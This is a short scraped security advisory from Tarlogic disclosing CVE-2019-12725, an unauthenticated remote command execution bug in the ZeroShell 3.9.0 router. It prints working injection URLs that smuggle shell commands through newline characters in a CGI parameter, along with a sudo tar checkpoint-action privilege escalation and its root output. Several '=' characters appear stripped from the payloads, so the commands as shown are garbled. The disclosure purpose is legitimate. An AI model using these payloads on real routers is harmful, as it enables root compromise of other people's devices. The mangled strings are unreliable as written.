<https://www.tarlogic.com/blog/zeroshell-vulnerability-cve-2019-12725/#Article>
<http://schema.org/articleBody>
"Product: ZeroShell  Publication Date: 17/07/2019  Author: Juan Manuel Fernandez (@TheXC3LL) - Tarlogic    Zeroshell vulnerability - CVE-2019-12725 RCE as root  The latest version of ZeroShell linux router (3.9.0) is vulnerable to RCE because some parameters inside a script are used without a properly sanitization. This issue can be abused via new-line characters:    Example of vulnerable parameter:    /cgi-bin/kerbynet?SectionNoAuthREQ&amp;Actionx509view&amp;UserAdmin&amp;x509type'%0Auname -a%0A'    Additionally the Apache user can execute the \"tar\" command as root (/etc/sudoers):    (...)        apache ALL NOPASSWD: /bin/tar        (...)    Zeroshell exploit  This ZeroShell vulnerability can be abused in order to elevate privileges via the RCE:        /cgi-bin/kerbynet?Actionx509view&amp;SectionNoAuthREQ&amp;User&amp;x509type'%0A/etc/sudo tar -cf /dev/null /dev/null --checkpoint1 --checkpoint-actionexecid%0A'    uid0(root) gid0(root) groups0(root)        A security update will be released in the next days  Discover our work and cybersecurity services."
<https://www.tarlogic.com/blog/zeroshell-vulnerability-cve-2019-12725/>